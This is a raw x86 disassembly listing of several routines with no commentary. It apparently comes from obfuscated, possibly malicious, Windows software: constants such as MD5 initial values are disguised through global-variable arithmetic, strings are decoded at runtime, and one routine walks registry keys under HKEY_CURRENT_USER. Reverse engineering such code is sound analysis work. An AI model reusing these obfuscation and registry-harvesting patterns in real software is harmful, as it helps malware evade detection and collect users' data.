		sub	eax, 6
		mov	[ebp+var_1C], eax
		jmp	loc_43F798
; ---------------------------------------------------------------------------


loc_43F5D1:				; CODE XREF: sub_43F052+751j
		mov	edi, [ebp+var_1C]
		push	[ebp+edi*4+var_DC]
		mov	edi, dword_54F248
		add	edi, 2
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		call	sub_43B370
		add	esp, 1Ch
		mov	[ebp+var_C], eax
		mov	eax, dword_54F1C0
		add	eax, 6
		add	eax, dword_54F238
		add	ebx, eax
		mov	eax, dword_54F1C8
		add	eax, 8
		cmp	ebx, eax
		jb	short loc_43F628
		mov	eax, dword_54F0D8
		add	eax, 0Ah
		sub	ebx, eax


loc_43F628:				; CODE XREF: sub_43F052+5CAj
		mov	edi, [ebp+var_1C]
		movsx	esi, word_54F104
		add	esi, dword_54F110
		sub	esi, 8
		add	edi, esi
		push	[ebp+edi*4+var_DC]
		mov	edi, dword_54F184
		movsx	esi, word_54F1A4
		add	edi, esi
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_43B370
		add	esp, 1Ch
		mov	[ebp+var_10], eax
		mov	eax, dword_54F14C
		add	eax, 4
		add	eax, dword_54F224
		add	ebx, eax
		movsx	eax, word_54F194
		mov	edx, dword_54F1C8
		lea	eax, [eax+edx+7]
		cmp	ebx, eax
		jb	short loc_43F6A9
		movsx	eax, word_54F164
		mov	edx, dword_54F178
		lea	eax, [eax+edx+6]
		sub	ebx, eax


loc_43F6A9:				; CODE XREF: sub_43F052+642j
		mov	edi, [ebp+var_1C]
		mov	esi, dword_54F0D8
		sub	esi, 4
		add	edi, esi
		push	[ebp+edi*4+var_DC]
		mov	edi, dword_54F1D8
		add	edi, 6
		add	edi, dword_54F0E4
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		call	sub_43B370
		add	esp, 1Ch
		mov	[ebp+var_4], eax
		mov	eax, dword_54F214
		add	eax, 4
		add	ebx, eax
		mov	eax, dword_54F1C0
		add	eax, 0Fh
		cmp	ebx, eax
		jb	short loc_43F714
		mov	eax, dword_54F0E4
		add	eax, 5
		movsx	edx, word_54F0C4
		add	eax, edx
		sub	ebx, eax


loc_43F714:				; CODE XREF: sub_43F052+6ADj
		mov	edi, [ebp+var_1C]
		movsx	esi, word_54F0C4
		sub	esi, 3
		add	edi, esi
		push	[ebp+edi*4+var_DC]
		mov	edi, dword_54F11C
		add	edi, 11h
		add	edi, dword_54F168
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_43B370
		add	esp, 1Ch
		mov	[ebp+var_8], eax
		movsx	eax, word_54F148
		movsx	edx, word_54F0A8
		lea	eax, [eax+edx+6]
		add	ebx, eax
		mov	eax, dword_54F1C0
		add	eax, 0Fh
		add	eax, dword_54F180
		cmp	ebx, eax
		jb	short loc_43F790
		mov	eax, dword_54F21C
		add	eax, 9
		movsx	edx, word_54F138
		add	eax, edx
		sub	ebx, eax


loc_43F790:				; CODE XREF: sub_43F052+729j
		mov	eax, dword_54F15C
		add	[ebp+var_1C], eax


loc_43F798:				; CODE XREF: sub_43F052+57Aj
		mov	eax, dword_54F154
		add	eax, 4
		cmp	[ebp+var_1C], eax
		jbe	loc_43F5D1
		mov	edi, [ebp+arg_0]
		mov	esi, dword_54F1F8
		add	esi, dword_54F1A0
		mov	ebx, [edi+0Ch]
		add	ebx, [ebp+var_10]
		mov	[edi+esi*4-20h], ebx
		movsx	esi, word_54F094
		add	esi, dword_54F130
		mov	ebx, [edi]
		add	ebx, [ebp+var_C]
		mov	[edi+esi*4-0Ch], ebx
		movsx	esi, word_54F240
		add	esi, dword_54F200
		mov	ebx, [edi+8]
		add	ebx, [ebp+var_4]
		mov	[edi+esi*4-2Ch], ebx
		mov	esi, dword_54F18C
		mov	ebx, [edi+4]
		add	ebx, [ebp+var_8]
		mov	[edi+esi*4], ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43F052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F803	proc near		; DATA XREF: .data:0054F2ACo
		push	ebp
		mov	ebp, esp
		push	offset dword_54DB14
		call	ds:dword_4899F8
		mov	eax, ds:dword_54DB14
		pop	ebp
		retn	4
sub_43F803	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F81A	proc near		; CODE XREF: sub_43E364+32Dp

var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_303		= byte ptr -303h
var_20D		= byte ptr -20Dh
var_204		= dword	ptr -204h
var_1FE		= byte ptr -1FEh
var_FF		= byte ptr -0FFh
var_FD		= byte ptr -0FDh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 318h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	edi, dword_54F140
		dec	edi
		jmp	loc_43FA63
; ---------------------------------------------------------------------------


loc_43F838:				; CODE XREF: sub_43F81A+253j
		push	offset word_54FDFA
		call	sub_43AAF7
		push	edi
		push	eax
		lea	edx, [ebp+var_303]
		push	edx
		call	ds:dword_50C928
		mov	eax, dword_54F188
		add	eax, 0FAh
		add	eax, dword_54F18C
		mov	[ebp+var_204], eax
		push	offset dword_54FDE8
		call	sub_43AAF7
		lea	edx, [ebp+var_314]
		push	edx
		lea	edx, [ebp+var_204]
		push	edx
		lea	edx, [ebp+var_FF]
		push	edx
		push	eax
		lea	edx, [ebp+var_303]
		push	edx
		push	80000001h
		call	sub_440B18
		add	esp, 2Ch
		mov	[ebp+var_310], eax
		test	eax, eax
		jz	loc_43FA62
		lea	eax, [ebp+var_1FE]
		push	eax
		lea	eax, [ebp+var_FD]
		push	eax
		call	sub_43BBFE
		mov	eax, dword_54F0E0
		add	eax, dword_54F200
		sub	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_1FE]
		push	eax
		push	ebx
		call	sub_43DE22
		add	esp, 14h
		mov	edx, dword_54F16C
		add	edx, 0FFFAh
		cmp	eax, edx
		jz	loc_43FA62
		push	offset word_54FD8A
		call	sub_43AAF7
		pop	ecx
		push	eax
		lea	edx, [ebp+var_FF]
		push	edx
		call	sub_4455D4
		mov	eax, dword_54F184
		add	eax, dword_54F160
		sub	eax, 0Bh
		mov	[ebp+var_30C], eax
		mov	eax, dword_54F1F4
		sub	eax, 9
		mov	[ebp+var_308], eax
		jmp	short loc_43F960
; ---------------------------------------------------------------------------


loc_43F92B:				; CODE XREF: sub_43F81A+150j
		mov	eax, [ebp+var_308]
		cmp	[ebp+eax+var_FF], 23h
		jnz	short loc_43F95A
		mov	eax, [ebp+var_308]
		mov	edx, dword_54F110
		movsx	ecx, word_54F09C
		add	edx, ecx
		sub	edx, 0Fh
		mov	[ebp+eax+var_FF], dl


loc_43F95A:				; CODE XREF: sub_43F81A+11Fj
		inc	[ebp+var_308]


loc_43F960:				; CODE XREF: sub_43F81A+10Fj
		cmp	[ebp+var_308], 0FFh
		jb	short loc_43F92B


loc_43F96C:				; CODE XREF: sub_43F81A+242j
		mov	eax, dword_54F0E8
		add	eax, 0FBh
		add	eax, dword_54F0DC
		mov	[ebp+var_204], eax
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_1FE]
		push	eax
		mov	eax, [ebp+var_30C]
		lea	eax, [ebp+eax+var_FF]
		push	eax
		lea	eax, [ebp+var_303]
		push	eax
		push	80000001h
		call	sub_440B18
		add	esp, 18h
		mov	[ebp+var_310], eax
		test	eax, eax
		jnz	short loc_43F9E3
		movsx	eax, word_54F1E8
		movsx	edx, word_54F190
		add	eax, edx
		mov	edx, dword_54F134
		sub	edx, 2
		mov	[ebp+eax+var_20D], dl


loc_43F9E3:				; CODE XREF: sub_43F81A+1A7j
		mov	eax, [ebp+var_30C]
		mov	[ebp+var_318], eax
		lea	ecx, [ebp+eax+var_FF]
		or	eax, 0FFFFFFFFh


loc_43F9F9:				; CODE XREF: sub_43F81A+1E4j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43F9F9
		mov	ecx, [ebp+var_318]
		add	ecx, eax
		mov	[ebp+var_30C], ecx
		lea	eax, [ebp+var_1FE]
		push	eax
		push	esi
		call	ds:dword_44602C
		add	esp, 8
		push	offset byte_54FD85
		call	sub_43AAF7
		add	esp, 4
		push	eax
		push	esi
		call	ds:dword_44602C
		add	esp, 8
		inc	[ebp+var_30C]
		mov	eax, [ebp+var_30C]
		movzx	eax, [ebp+eax+var_FF]
		mov	edx, dword_54F158
		add	edx, dword_54F1BC
		sub	edx, 9
		cmp	eax, edx
		jnz	loc_43F96C


loc_43FA62:				; CODE XREF: sub_43F81A+89j
					; sub_43F81A+CFj
		inc	edi


loc_43FA63:				; CODE XREF: sub_43F81A+19j
		mov	eax, dword_54F110
		add	eax, 15h
		cmp	edi, eax
		jb	loc_43F838
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43F81A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43FA78	proc near		; DATA XREF: .data:0054F2B0o
		push	ebp
		mov	ebp, esp
		movsx	eax, word_54F208
		dec	eax
		cmp	ds:dword_54DB14, eax
		jbe	short loc_43FA96
		push	offset dword_54DB14
		call	ds:dword_446014


loc_43FA96:				; CODE XREF: sub_43FA78+11j
		mov	eax, ds:dword_54DB14
		pop	ebp
		retn	4
sub_43FA78	endp


; =============== S U B	R O U T	I N E =======================================



sub_43FA9F	proc near		; CODE XREF: sub_43B3AD+83p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	ecx, [esp+8+arg_0]
		mov	esi, dword_54F214
		mov	ebx, dword_54F0D8
		add	ebx, 0EFCDAB82h
		movsx	edx, word_54F0CC
		add	ebx, edx
		mov	[ecx+esi*4-8], ebx
		movsx	esi, word_54F138
		mov	ebx, dword_54F160
		add	ebx, 1032546Fh
		mov	[ecx+esi*4], ebx
		movsx	esi, word_54F1C4
		add	esi, dword_54F100
		mov	ebx, dword_54F150
		add	ebx, 98BADCF4h
		add	ebx, dword_54F1BC
		mov	[ecx+esi*4-3Ch], ebx
		mov	esi, dword_54F110
		movsx	ebx, word_54F148
		add	ebx, 67452300h
		mov	[ecx+esi*4-24h], ebx
		pop	esi
		pop	ebx
		retn
sub_43FA9F	endp


; =============== S U B	R O U T	I N E =======================================



sub_43FB17	proc near		; CODE XREF: sub_444ED7+2Fp
		push	edi
		push	offset word_54FD7A
		call	sub_43AAF7
		pop	ecx
		push	eax
		call	ds:dword_449598
		mov	dword_54F26C, eax
		mov	eax, dword_54F10C
		movsx	edx, word_54F128
		add	eax, edx
		sub	eax, 7
		cmp	dword_54F26C, eax
		jnz	short loc_43FB5F
		push	offset asc_54FD6F ; "\a"
		call	sub_43AAF7
		pop	ecx
		push	eax
		call	ds:dword_48A218
		mov	dword_54F26C, eax


loc_43FB5F:				; CODE XREF: sub_43FB17+2Fj
		movsx	eax, word_54F128
		sub	eax, 5
		cmp	dword_54F26C, eax
		jz	short loc_43FB8E
		push	offset byte_54FD59
		call	sub_43AAF7
		pop	ecx
		push	eax
		push	dword_54F26C
		call	ds:dword_4491AC
		mov	ds:dword_4495B4, eax


loc_43FB8E:				; CODE XREF: sub_43FB17+58j
		pop	edi
		retn
sub_43FB17	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43FB90	proc near		; CODE XREF: sub_43B0C6+8Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	edi, ebx
		shr	edi, 4
		mov	eax, edi
		mov	ecx, dword_54F174
		add	ecx, 9
		mul	ecx
		mov	[ebp+var_4], eax
		mov	esi, ebx
		sub	esi, eax
		movsx	ebx, word_54F104
		inc	ebx
		mov	ecx, esi
		mov	esi, ebx
		shl	esi, cl
		mov	ebx, [ebp+arg_0]
		movzx	ebx, word ptr [ebx+edi*2]
		mov	edi, ebx
		and	edi, esi
		cmp	edi, esi
		jnz	short loc_43FBE4
		movsx	eax, word_54F144
		mov	edi, eax
		add	edi, dword_54F098
		sub	edi, 0Ch
		jmp	short loc_43FBF6
; ---------------------------------------------------------------------------


loc_43FBE4:				; CODE XREF: sub_43FB90+3Ej
		movsx	eax, word_54F0F8
		mov	edi, eax
		add	edi, dword_54F140
		sub	edi, 6


loc_43FBF6:				; CODE XREF: sub_43FB90+52j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43FB90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43FBFD	proc near		; CODE XREF: sub_43D41A+16Fp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_4437E1
		add	esp, 8
		mov	esi, eax
		movsx	eax, word_54F194
		dec	eax
		cmp	esi, eax
		jnz	short loc_43FC2A
		xor	eax, eax
		jmp	loc_43FCD3
; ---------------------------------------------------------------------------


loc_43FC2A:				; CODE XREF: sub_43FBFD+24j
		mov	eax, dword_54F1A0
		mov	edi, eax
		add	edi, dword_54F1E0
		sub	edi, 8
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_43FC42:				; CODE XREF: sub_43FBFD+4Aj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43FC42
		mov	[ebp+var_8], eax


loc_43FC4C:				; CODE XREF: sub_43FBFD+CBj
		lea	ecx, [esi+edi]
		or	eax, 0FFFFFFFFh


loc_43FC52:				; CODE XREF: sub_43FBFD+5Aj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43FC52
		mov	ebx, eax
		sub	ebx, [ebp+arg_8]
		cmp	ebx, [ebp+var_8]
		jnz	short loc_43FCB2
		mov	[ebp+var_10], 1
		movsx	eax, word_54F128
		sub	eax, 5
		mov	[ebp+var_C], eax
		jmp	short loc_43FC9B
; ---------------------------------------------------------------------------


loc_43FC79:				; CODE XREF: sub_43FBFD+A1j
		mov	eax, [ebp+var_C]
		mov	edx, edi
		add	edx, eax
		add	edx, [ebp+arg_8]
		movzx	edx, byte ptr [esi+edx]
		mov	ecx, [ebp+arg_4]
		movsx	eax, byte ptr [ecx+eax]
		cmp	edx, eax
		jz	short loc_43FC98
		and	[ebp+var_10], 0
		jmp	short loc_43FCA0
; ---------------------------------------------------------------------------


loc_43FC98:				; CODE XREF: sub_43FBFD+93j
		inc	[ebp+var_C]


loc_43FC9B:				; CODE XREF: sub_43FBFD+7Aj
		cmp	[ebp+var_C], ebx
		jb	short loc_43FC79


loc_43FCA0:				; CODE XREF: sub_43FBFD+99j
		cmp	[ebp+var_10], 0
		jz	short loc_43FCB2
		push	esi
		call	ds:dword_4495CC
		xor	eax, eax
		inc	eax
		jmp	short loc_43FCD3
; ---------------------------------------------------------------------------


loc_43FCB2:				; CODE XREF: sub_43FBFD+64j
					; sub_43FBFD+A7j
		add	edi, [ebp+arg_8]
		mov	eax, dword_54F238
		inc	eax
		add	eax, dword_54F20C
		add	edi, eax
		add	edi, ebx
		cmp	edi, [ebp+var_4]
		jb	short loc_43FC4C
		push	esi
		call	ds:dword_4495CC
		xor	eax, eax


loc_43FCD3:				; CODE XREF: sub_43FBFD+28j
					; sub_43FBFD+B3j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43FBFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43FCD8	proc near		; CODE XREF: sub_4395D8+39Ap
					; sub_4395D8+493p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	esi
		mov	edi, dword_54F1AC
		sub	edi, 2
		cmp	edx, edi
		jnz	short loc_43FCFC
		mov	eax, [ebp+arg_0]
		jmp	short loc_43FD16
; ---------------------------------------------------------------------------


loc_43FCFC:				; CODE XREF: sub_43FCD8+1Dj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	esi
		mov	[ebp+var_8], eax
		mov	edi, eax
		mul	esi
		mov	[ebp+var_C], eax
		mov	edi, eax
		add	edi, esi
		mov	[ebp+var_4], edi
		mov	eax, edi


loc_43FD16:				; CODE XREF: sub_43FCD8+22j
		pop	edi
		pop	esi
		leave
		retn
sub_43FCD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43FD1A	proc near		; DATA XREF: sub_438324+1017o
					; sub_438324+1067o ...

var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_219		= byte ptr -219h
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= byte ptr -204h
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_108		= byte ptr -108h
var_105		= byte ptr -105h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 230h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	eax, ebx
		cmp	eax, 100h
		jz	short loc_43FD4B
		jl	loc_440306
		cmp	eax, 111h
		jz	loc_43FDE6
		jmp	loc_440306
; ---------------------------------------------------------------------------


loc_43FD4B:				; CODE XREF: sub_43FD1A+19j
		cmp	[ebp+arg_8], 9
		jnz	loc_440306
		movsx	edi, word_54F240
		sub	edi, 8
		jmp	short loc_43FDCC
; ---------------------------------------------------------------------------


loc_43FD61:				; CODE XREF: sub_43FD1A+C5j
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_208], eax
		cmp	ds:dword_4CA564[eax], esi
		jnz	short loc_43FD96
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_20C], eax
		push	ds:dword_4CA568[eax]
		call	ds:dword_4899FC
		jmp	loc_440306
; ---------------------------------------------------------------------------


loc_43FD96:				; CODE XREF: sub_43FD1A+5Bj
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_20C], eax
		cmp	ds:dword_4CA560[eax], esi
		jnz	short loc_43FDCB
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_210], eax
		push	ds:dword_4CA564[eax]
		call	ds:dword_4899FC
		jmp	loc_440306
; ---------------------------------------------------------------------------


loc_43FDCB:				; CODE XREF: sub_43FD1A+90j
		inc	edi


loc_43FDCC:				; CODE XREF: sub_43FD1A+45j
		movsx	eax, word_54F210
		mov	edx, dword_54F1BC
		lea	eax, [eax+edx+59h]
		cmp	edi, eax
		jb	short loc_43FD61
		jmp	loc_440306
; ---------------------------------------------------------------------------


loc_43FDE6:				; CODE XREF: sub_43FD1A+26j
		movsx	eax, word_54F128
		mov	edi, eax
		add	edi, dword_54F174
		sub	edi, 0Ch
		jmp	short loc_43FE14
; ---------------------------------------------------------------------------


loc_43FDFA:				; CODE XREF: sub_43FD1A+10Aj
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_208], eax
		mov	eax, ds:dword_4CA56C[eax]
		cmp	[ebp+arg_C], eax
		jz	short loc_43FE26
		inc	edi


loc_43FE14:				; CODE XREF: sub_43FD1A+DEj
		mov	eax, dword_54F140
		add	eax, 63h
		add	eax, dword_54F180
		cmp	edi, eax
		jb	short loc_43FDFA


loc_43FE26:				; CODE XREF: sub_43FD1A+F7j
		mov	eax, dword_54F1B0
		add	eax, 5Dh
		cmp	edi, eax
		jz	loc_440306
		push	0FFh
		lea	eax, [ebp+var_103]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_20C], eax
		push	ds:dword_4CA558[eax]
		call	ds:dword_54DF38
		movsx	eax, word_54F1A4
		mov	byte ptr [ebp+eax+var_20C+2], 4Bh
		movsx	eax, word_54F13C
		mov	edx, dword_54F1D8
		sub	edx, 4
		mov	byte ptr [ebp+eax+var_20C+1], dl
		movsx	eax, word_54F1A8
		add	eax, dword_54F0E8
		mov	[ebp+eax+var_204], 7Ch
		lea	eax, [ebp+var_103]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	ds:dword_44602C
		add	esp, 8
		push	0FFh
		lea	eax, [ebp+var_103]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_210], eax
		push	ds:dword_4CA560[eax]
		call	ds:dword_54DF38
		mov	eax, dword_54F20C
		movsx	edx, word_54F194
		add	eax, edx
		movsx	eax, [ebp+eax+var_108]
		mov	edx, dword_54F1C8
		add	edx, dword_54F11C
		sub	edx, 0Ah
		cmp	eax, edx
		jnz	short loc_43FF59
		push	offset word_54FD36
		call	sub_43AAF7
		pop	ecx
		movsx	edx, word_54F138
		sub	edx, 3
		push	edx
		mov	edx, dword_54F1F4
		add	edx, dword_54F0AC
		sub	edx, 10h
		push	edx
		push	eax
		mov	edx, dword_54F140
		add	edx, dword_54F0B8
		sub	edx, 5
		push	edx
		call	ds:dword_50C938
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_214], eax
		push	ds:dword_4CA560[eax]
		call	ds:dword_4899FC
		jmp	loc_440306
; ---------------------------------------------------------------------------


loc_43FF59:				; CODE XREF: sub_43FD1A+1E1j
		push	offset byte_54FD31
		call	sub_43AAF7
		push	eax
		lea	edx, [ebp+var_204]
		push	edx
		call	ds:dword_44602C
		lea	eax, [ebp+var_103]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	ds:dword_44602C
		add	esp, 14h
		push	0FFh
		lea	eax, [ebp+var_103]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_214], eax
		push	ds:dword_4CA564[eax]
		call	ds:dword_54DF38
		mov	eax, dword_54F0AC
		movsx	eax, [ebp+eax+var_10A]
		mov	edx, dword_54F098
		add	edx, dword_54F0C0
		sub	edx, 0Bh
		cmp	eax, edx
		jnz	short loc_440028
		push	offset byte_54FD0F
		call	sub_43AAF7
		pop	ecx
		mov	edx, dword_54F140
		add	edx, dword_54F0C8
		sub	edx, 2
		push	edx
		mov	edx, dword_54F1F8
		add	edx, dword_54F16C
		sub	edx, 8
		push	edx
		push	eax
		movsx	edx, word_54F148
		dec	edx
		push	edx
		call	ds:dword_50C938
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_218], eax
		push	ds:dword_4CA564[eax]
		call	ds:dword_4899FC
		jmp	loc_440306
; ---------------------------------------------------------------------------


loc_440028:				; CODE XREF: sub_43FD1A+2B2j
		push	offset word_54FD0A
		call	sub_43AAF7
		push	eax
		lea	edx, [ebp+var_204]
		push	edx
		call	ds:dword_44602C
		lea	eax, [ebp+var_103]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	ds:dword_44602C
		add	esp, 14h
		push	0FFh
		lea	eax, [ebp+var_103]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_218], eax
		push	ds:dword_4CA568[eax]
		call	ds:dword_54DF38
		mov	eax, dword_54F154
		movsx	eax, [ebp+eax+var_10B]
		movsx	edx, word_54F210
		add	edx, dword_54F23C
		sub	edx, 5
		cmp	eax, edx
		jz	loc_4401CB
		lea	ecx, [ebp+var_103]
		or	eax, 0FFFFFFFFh


loc_4400AB:				; CODE XREF: sub_43FD1A+396j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4400AB
		mov	edx, eax
		mov	ecx, dword_54F22C
		movsx	eax, word_54F208
		add	ecx, eax
		sub	ecx, 4
		cmp	edx, ecx
		jb	loc_4401CB
		mov	eax, dword_54F22C
		sub	eax, 7
		mov	[ebp+var_105], al
		jmp	short loc_440100
; ---------------------------------------------------------------------------


loc_4400DE:				; CODE XREF: sub_43FD1A+3FFj
		movzx	eax, [ebp+var_105]
		mov	al, [ebp+eax+var_103]
		cmp	al, 30h
		jl	short loc_4400F4
		cmp	al, 39h
		jle	short loc_4400F9


loc_4400F4:				; CODE XREF: sub_43FD1A+3D4j
		jmp	loc_4401CB
; ---------------------------------------------------------------------------


loc_4400F9:				; CODE XREF: sub_43FD1A+3D8j
		add	[ebp+var_105], 1


loc_440100:				; CODE XREF: sub_43FD1A+3C2j
		lea	ecx, [ebp+var_103]
		or	eax, 0FFFFFFFFh


loc_440109:				; CODE XREF: sub_43FD1A+3F4j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_440109
		movzx	ecx, [ebp+var_105]
		cmp	ecx, eax
		jb	short loc_4400DE
		mov	eax, dword_54F1E0
		add	eax, dword_54F20C
		sub	eax, 8
		mov	[ebp+var_104], al
		jmp	short loc_4401A7
; ---------------------------------------------------------------------------


loc_440131:				; CODE XREF: sub_43FD1A+4A6j
		mov	al, [ebp+var_104]
		mov	[ebp+var_219], al
		jmp	short loc_440168
; ---------------------------------------------------------------------------


loc_44013F:				; CODE XREF: sub_43FD1A+467j
		movzx	eax, [ebp+var_219]
		movsx	eax, [ebp+eax+var_103]
		movzx	edx, [ebp+var_104]
		movsx	edx, [ebp+edx+var_103]
		cmp	eax, edx
		jnz	short loc_440183
		add	[ebp+var_219], 1


loc_440168:				; CODE XREF: sub_43FD1A+423j
		lea	ecx, [ebp+var_103]
		or	eax, 0FFFFFFFFh


loc_440171:				; CODE XREF: sub_43FD1A+45Cj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_440171
		movzx	ecx, [ebp+var_219]
		cmp	ecx, eax
		jb	short loc_44013F


loc_440183:				; CODE XREF: sub_43FD1A+445j
		movzx	eax, [ebp+var_219]
		movzx	edx, [ebp+var_104]
		sub	eax, edx
		mov	edx, dword_54F0BC
		add	edx, 3
		cmp	eax, edx
		jg	short loc_4401CB
		add	[ebp+var_104], 1


loc_4401A7:				; CODE XREF: sub_43FD1A+415j
		lea	ecx, [ebp+var_103]
		or	eax, 0FFFFFFFFh


loc_4401B0:				; CODE XREF: sub_43FD1A+49Bj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4401B0
		movzx	ecx, [ebp+var_104]
		cmp	ecx, eax
		jb	loc_440131
		jmp	loc_440267
; ---------------------------------------------------------------------------


loc_4401CB:				; CODE XREF: sub_43FD1A+382j
					; sub_43FD1A+3AEj ...
		mov	eax, dword_54F170
		add	eax, 7CCh
		push	eax
		call	ds:dword_50C924
		push	offset a5	; "5"
		call	sub_43AAF7
		mov	[ebp-21Ch], eax
		push	offset word_54FCBA
		call	sub_43AAF7
		mov	edx, dword_54F108
		sub	edx, 8
		push	edx
		push	eax
		mov	edx, [ebp-21Ch]
		push	edx
		mov	edx, dword_54F22C
		add	edx, dword_54F0EC
		sub	edx, 8
		push	edx
		call	ds:dword_50C938
		push	offset word_54FCB6
		call	sub_43AAF7
		add	esp, 10h
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_220], eax
		mov	edx, eax
		push	ds:dword_4CA568[edx]
		call	ds:dword_54C954
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_224], eax
		push	ds:dword_4CA568[eax]
		call	ds:dword_4899FC
		jmp	loc_440306
; ---------------------------------------------------------------------------


loc_440267:				; CODE XREF: sub_43FD1A+4ACj
		push	offset byte_54FCB1
		call	sub_43AAF7
		push	eax
		lea	edx, [ebp+var_204]
		push	edx
		call	ds:dword_44602C
		lea	eax, [ebp+var_103]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	ds:dword_44602C
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_228], eax
		push	ds:dword_4CA558[eax]
		call	ds:dword_48A1E8
		lea	eax, [ebp+var_204]
		push	eax
		call	ds:dword_447014
		add	esp, 18h
		push	5
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_22C], eax
		push	ds:dword_4CA554[eax]
		call	ds:dword_54C958
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_230], eax
		movsx	eax, word_54F198
		movsx	edx, word_54F1CC
		add	eax, edx
		sub	eax, 0Ah
		mov	edx, [ebp+var_230]
		mov	ds:dword_4CA550[edx], eax


loc_440306:				; CODE XREF: sub_43FD1A+1Bj
					; sub_43FD1A+2Cj ...
